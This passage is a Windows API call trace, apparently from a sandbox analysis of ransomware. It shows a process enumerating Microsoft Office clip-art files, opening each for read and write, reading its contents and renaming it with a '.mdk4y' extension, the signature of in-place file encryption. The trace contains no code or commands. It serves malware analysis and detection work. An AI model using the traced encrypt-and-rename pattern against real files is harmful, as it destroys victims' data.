Office\\CLIPART\\PUB60COR\\FD00455_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf.mdk4y")) returned 1 [0137.674] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0137.674] AreFileApisANSI () returned 1 [0137.674] GetACP () returned 0x4e4 [0137.674] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FD00459_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FD00459_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0137.675] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0137.675] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821290500000) returned 1 [0137.675] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x43fe, lpOverlapped=0x0) returned 1 [0137.691] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821292100000) returned 1 [0137.691] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821292100000) returned 1 [0137.692] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf.mdk4y")) returned 1 [0137.692] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0137.692] AreFileApisANSI () returned 1 [0137.692] GetACP () returned 0x4e4 [0137.692] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FD00543_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FD00543_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0137.692] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0137.693] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821292300000) returned 1 [0137.693] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5c0, lpOverlapped=0x0) returned 1 [0137.708] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821293700000) returned 1 [0137.708] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821293800000) returned 1 [0137.708] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf.mdk4y")) returned 1 [0137.708] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0137.708] AreFileApisANSI () returned 1 [0137.708] GetACP () returned 0x4e4 [0137.708] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FD00544_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FD00544_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0137.708] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0137.709] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821293900000) returned 1 [0137.709] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x148c, lpOverlapped=0x0) returned 1 [0137.725] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821295500000) returned 1 [0137.725] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821295500000) returned 1 [0137.725] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf.mdk4y")) returned 1 [0137.726] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0137.726] AreFileApisANSI () returned 1 [0137.726] GetACP () returned 0x4e4 [0137.726] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FD00564_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FD00564_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0137.726] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0137.726] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821295600000) returned 1 [0137.726] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x380, lpOverlapped=0x0) returned 1 [0137.743] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821297300000) returned 1 [0137.743] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821297300000) returned 1 [0137.744] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf.mdk4y")) returned 1 [0137.744] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0137.744] AreFileApisANSI () returned 1 [0137.744] GetACP () returned 0x4e4 [0137.745] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FD00586_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FD00586_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0137.745] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0137.745] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821297500000) returned 1 [0137.745] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2f0, lpOverlapped=0x0) returned 1 [0137.746] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821297600000) returned 1 [0137.746] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821297600000) returned 1 [0137.746] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf.mdk4y")) returned 1 [0137.747] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0137.747] AreFileApisANSI () returned 1 [0137.747] GetACP () returned 0x4e4 [0137.747] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FD00775_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FD00775_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0137.747] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0137.747] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821297700000) returned 1 [0137.747] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2b90, lpOverlapped=0x0) returned 1 [0137.748] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821297800000) returned 1 [0137.748] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821297800000) returned 1 [0137.749] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf.mdk4y")) returned 1 [0137.749] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0137.749] AreFileApisANSI () returned 1 [0137.749] GetACP () returned 0x4e4 [0137.749] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FD00779_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FD00779_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0137.749] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0137.750] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821298000000) returned 1 [0137.750] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2332, lpOverlapped=0x0) returned 1 [0137.751] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821298100000) returned 1 [0137.751] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821298100000) returned 1 [0137.751] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf.mdk4y")) returned 1 [0137.752] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0137.752] AreFileApisANSI () returned 1 [0137.752] GetACP () returned 0x4e4 [0137.752] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FD00799_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FD00799_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0137.752] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0137.752] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821298200000) returned 1 [0137.752] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3690, lpOverlapped=0x0) returned 1 [0137.762] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821299200000) returned 1 [0137.762] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821299200000) returned 1 [0137.762] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf.mdk4y")) returned 1 [0137.763] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0137.763] AreFileApisANSI () returned 1 [0137.763] GetACP () returned 0x4e4 [0137.763] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FD00814_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FD00814_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0137.763] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0137.763] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821299300000) returned 1 [0137.763] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xa6d0, lpOverlapped=0x0) returned 1 [0137.779] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821300900000) returned 1 [0137.779] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821300900000) returned 1 [0137.779] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf.mdk4y")) returned 1 [0137.780] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0137.780] AreFileApisANSI () returned 1 [0137.780] GetACP () returned 0x4e4 [0137.780] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FD00965_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FD00965_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0137.780] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0137.781] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821301100000) returned 1 [0137.781] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3b3c, lpOverlapped=0x0) returned 1 [0137.793] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821302300000) returned 1 [0137.793] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821302300000) returned 1 [0137.794] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf.mdk4y")) returned 1 [0137.794] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0137.794] AreFileApisANSI () returned 1 [0137.794] GetACP () returned 0x4e4 [0137.794] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FD01074_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FD01074_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0137.795] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0137.795] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821302500000) returned 1 [0137.795] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x121a, lpOverlapped=0x0) returned 1 [0137.815] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821304500000) returned 1 [0137.815] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821304500000) returned 1 [0137.816] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf.mdk4y")) returned 1 [0137.816] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0137.816] AreFileApisANSI () returned 1 [0137.816] GetACP () returned 0x4e4 [0137.816] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FD01084_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FD01084_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0137.816] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0137.817] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821304700000) returned 1 [0137.817] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x96c, lpOverlapped=0x0) returned 1 [0137.832] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821306200000) returned 1 [0137.832] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821306200000) returned 1 [0137.833] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf.mdk4y")) returned 1 [0137.833] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0137.833] AreFileApisANSI () returned 1 [0137.833] GetACP () returned 0x4e4 [0137.833] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FD01176_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FD01176_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0137.833] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0137.834] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821306400000) returned 1 [0137.834] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1378, lpOverlapped=0x0) returned 1 [0137.835] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821306500000) returned 1 [0137.835] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821306500000) returned 1 [0137.835] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf.mdk4y")) returned 1 [0137.836] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0137.836] AreFileApisANSI () returned 1 [0137.836] GetACP () returned 0x4e4 [0137.836] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FD01191_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FD01191_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0137.836] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0137.837] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821306700000) returned 1 [0137.837] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xf7c, lpOverlapped=0x0) returned 1 [0137.838] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821306800000) returned 1 [0137.838] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821306800000) returned 1 [0137.838] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf.mdk4y")) returned 1 [0137.838] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0137.838] AreFileApisANSI () returned 1 